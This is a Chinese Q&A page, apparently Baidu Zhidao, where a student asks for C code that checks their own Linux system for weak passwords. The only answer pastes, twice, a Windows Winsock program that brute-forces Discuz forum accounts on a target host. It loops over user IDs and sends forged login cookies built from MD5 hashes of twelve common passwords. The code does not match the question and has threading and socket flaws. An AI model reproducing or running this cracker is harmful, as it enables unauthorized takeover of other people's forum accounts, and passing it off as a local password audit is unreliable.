高分求教Linux中C程序的高手请进
有一个题目需要用C语言编写一段代码在LINUX中执行的。题目如下:用C语言程序编写一个主动检查自己机子的LINUX系统中是否存在弱口令。请高手帮忙看看。。。。有编出来的请...
有一个题目需要用C语言编写一段代码在LINUX中执行的。题目如下:用C语言程序编写一个主动检查自己机子的LINUX系统中是否存在弱口令。
请高手帮忙看看。。。。有编出来的请把代码发我邮箱502613278@qq.com急用 谢谢大家了!! 展开
请高手帮忙看看。。。。有编出来的请把代码发我邮箱502613278@qq.com急用 谢谢大家了!! 展开
1个回答
展开全部
我编程不行,在csdn上找的一个,你看看吧。
typedef struct _CRACKARG
{
char host[20];//目标主机IP
int port;//目标主机的web端口
int uid;//用户ID
}CRACK_ARG;
int maxThread;//最大线程数
int currentThread = 0;//当前线程数量
//cookie是MD5加密的,所以我又写了个MD5加密的程序,把这些弱口令转换成MD加密后的
char *pwd[12]=
{
"123","1234","12345","123456","654321","54321","4321","888","qwert","angel","love","321"
};
char *pwdHash[12]=
{
"202CB962AC59075B964B07152D234B70",
"81DC9BDB52D04DC20036DBD8313ED055",
"827CCB0EEA8A706C4C34A16891F84E7B",
"E10ADC3949BA59ABBE56E057F20F883E",
"C33367701511B4F6020EC61DED352059",
"01CFCD4F6B8770FEBFB40CB906715822",
"D93591BDF7860E1E4EE2FCA799911215",
"0A113EF6B61820DAA5611C870ED8D5EE",
"A384B6463FC216A5F8ECB6670F86456A",
"F4F068E71E0D87BF0AD51E6214AB84E9",
"B5C0B187FE309AF0F4D35982FD961D7E",
"CAF1A3DFB505FFED0D024130F58C5CFA"
};
/////////////////////////////////////////////////////////////////
//函数原形
/////////////////////////////////////////////////////////////////
void usage(char *);//显示帮助函数
void wait2Quit(void);//等待所有线程退出
void watchThread(void);//检测当前线程数量是否最大
DWORD WINAPI crack(LPVOID *);//扫描弱口令函数
////////////////////////////////////////////////////////////////
//main函数,程序入口
////////////////////////////////////////////////////////////////
int main(int argc, char* argv[])
{
WSADATA wsadata;
DWORD dwThreadID;
CRACK_ARG crackArg;//传递给crack函数的参数
//检查参数是否足够
if(argc != 6)
{
usage(argv[0]);
return 0;
}
if(WSAStartup(MAKEWORD(2,2),&wsadata)!=0)
{
printf("Load Winsock Err...\r\n");
return 0;
}
strcpy(crackArg.host,argv[1]);//传递host参数
crackArg.port = atoi(argv[2]);//传递port参数
maxThread = atoi(argv[5]);//最大线程数量
for(int tmp=atoi(argv[3]);tmp<=atoi(argv[4]);tmp++)
{
crackArg.uid = tmp;//用户ID
watchThread();
CreateThread(NULL,0,crack,(LPVOID)&crackArg,0,&dwThreadID);
currentThread++;
}
wait2Quit();
WSACleanup();
return 0;
}
void watchThread()
{
for(;;)
{
if(currentThread >= maxThread)
{
Sleep(500);
}
else
{
break;
}
}
}
void wait2Quit()
{
for(;;)
{
if(currentThread > 0)
{
Sleep(500);
}
else
{
break;
}
}
}
void usage(char *prog)
{
printf("Usage:%s <TargetIP> <port> <start uid> <end uid> <max thread>\n",prog);
printf("Example:%s 127.0.0.1 80 68000 69000 100\n",prog);
exit(0);
}
DWORD WINAPI crack(LPVOID *lparm)
{
SOCKET sock;
struct sockaddr_in sin;
CRACK_ARG *Args = (CRACK_ARG *)lparm;
char strRequest[512] = {'0'};//要发送的请求字符串
char buffer[128] = {'0'};//接受数据的字符数组
memset(&sin,0,sizeof(sin));
sin.sin_family=AF_INET;
sin.sin_port=htons(Args->port);
sin.sin_addr.s_addr=inet_addr(Args->host);
//建立socket
if((sock=socket(AF_INET,SOCK_STREAM,0))==INVALID_SOCKET)
{
printf("Create Socket Err...\r\n");
return -1;
}
//连接目标主机
connect(sock,(struct sockaddr*)&sin,sizeof(sin));
for(int i=0;i<12;i++)
{
//调试用,即使这里似乎没有正确循环
printf("%s\n",pwdHash[i]);
wsprintf(strRequest,"GET /index.php HTTP/1.0\nHost:%s\nCookie:cookietime=2592000;_cookietime=2592000;_discuz_uid=%d;_discuz_pw=%s\r\n\r\n",Args->host,Args->uid,pwdHash[i]);
//调试用,检查strRequest是否正确
printf("%s\n",strRequest);
send(sock,strRequest,strlen(strRequest),0);
recv(sock,buffer,128,0);
if(strstr(buffer,"HTTP/1.1 200 OK") != NULL)
{
printf("UserID=%d\tUserPassWord=%s\n",Args->uid,pwd[i]);
break;
}
}
currentThread--;
closesocket(sock);
return 0;
}
typedef struct _CRACKARG
{
char host[20];//目标主机IP
int port;//目标主机的web端口
int uid;//用户ID
}CRACK_ARG;
int maxThread;//最大线程数
int currentThread = 0;//当前线程数量
//cookie是MD5加密的,所以我又写了个MD5加密的程序,把这些弱口令转换成MD加密后的
char *pwd[12]=
{
"123","1234","12345","123456","654321","54321","4321","888","qwert","angel","love","321"
};
char *pwdHash[12]=
{
"202CB962AC59075B964B07152D234B70",
"81DC9BDB52D04DC20036DBD8313ED055",
"827CCB0EEA8A706C4C34A16891F84E7B",
"E10ADC3949BA59ABBE56E057F20F883E",
"C33367701511B4F6020EC61DED352059",
"01CFCD4F6B8770FEBFB40CB906715822",
"D93591BDF7860E1E4EE2FCA799911215",
"0A113EF6B61820DAA5611C870ED8D5EE",
"A384B6463FC216A5F8ECB6670F86456A",
"F4F068E71E0D87BF0AD51E6214AB84E9",
"B5C0B187FE309AF0F4D35982FD961D7E",
"CAF1A3DFB505FFED0D024130F58C5CFA"
};
/////////////////////////////////////////////////////////////////
//函数原形
/////////////////////////////////////////////////////////////////
void usage(char *);//显示帮助函数
void wait2Quit(void);//等待所有线程退出
void watchThread(void);//检测当前线程数量是否最大
DWORD WINAPI crack(LPVOID *);//扫描弱口令函数
////////////////////////////////////////////////////////////////
//main函数,程序入口
////////////////////////////////////////////////////////////////
int main(int argc, char* argv[])
{
WSADATA wsadata;
DWORD dwThreadID;
CRACK_ARG crackArg;//传递给crack函数的参数
//检查参数是否足够
if(argc != 6)
{
usage(argv[0]);
return 0;
}
if(WSAStartup(MAKEWORD(2,2),&wsadata)!=0)
{
printf("Load Winsock Err...\r\n");
return 0;
}
strcpy(crackArg.host,argv[1]);//传递host参数
crackArg.port = atoi(argv[2]);//传递port参数
maxThread = atoi(argv[5]);//最大线程数量
for(int tmp=atoi(argv[3]);tmp<=atoi(argv[4]);tmp++)
{
crackArg.uid = tmp;//用户ID
watchThread();
CreateThread(NULL,0,crack,(LPVOID)&crackArg,0,&dwThreadID);
currentThread++;
}
wait2Quit();
WSACleanup();
return 0;
}
void watchThread()
{
for(;;)
{
if(currentThread >= maxThread)
{
Sleep(500);
}
else
{
break;
}
}
}
void wait2Quit()
{
for(;;)
{
if(currentThread > 0)
{
Sleep(500);
}
else
{
break;
}
}
}
void usage(char *prog)
{
printf("Usage:%s <TargetIP> <port> <start uid> <end uid> <max thread>\n",prog);
printf("Example:%s 127.0.0.1 80 68000 69000 100\n",prog);
exit(0);
}
DWORD WINAPI crack(LPVOID *lparm)
{
SOCKET sock;
struct sockaddr_in sin;
CRACK_ARG *Args = (CRACK_ARG *)lparm;
char strRequest[512] = {'0'};//要发送的请求字符串
char buffer[128] = {'0'};//接受数据的字符数组
memset(&sin,0,sizeof(sin));
sin.sin_family=AF_INET;
sin.sin_port=htons(Args->port);
sin.sin_addr.s_addr=inet_addr(Args->host);
//建立socket
if((sock=socket(AF_INET,SOCK_STREAM,0))==INVALID_SOCKET)
{
printf("Create Socket Err...\r\n");
return -1;
}
//连接目标主机
connect(sock,(struct sockaddr*)&sin,sizeof(sin));
for(int i=0;i<12;i++)
{
//调试用,即使这里似乎没有正确循环
printf("%s\n",pwdHash[i]);
wsprintf(strRequest,"GET /index.php HTTP/1.0\nHost:%s\nCookie:cookietime=2592000;_cookietime=2592000;_discuz_uid=%d;_discuz_pw=%s\r\n\r\n",Args->host,Args->uid,pwdHash[i]);
//调试用,检查strRequest是否正确
printf("%s\n",strRequest);
send(sock,strRequest,strlen(strRequest),0);
recv(sock,buffer,128,0);
if(strstr(buffer,"HTTP/1.1 200 OK") != NULL)
{
printf("UserID=%d\tUserPassWord=%s\n",Args->uid,pwd[i]);
break;
}
}
currentThread--;
closesocket(sock);
return 0;
}
推荐律师服务:
若未解决您的问题,请您详细描述您的问题,通过百度律临进行免费专业咨询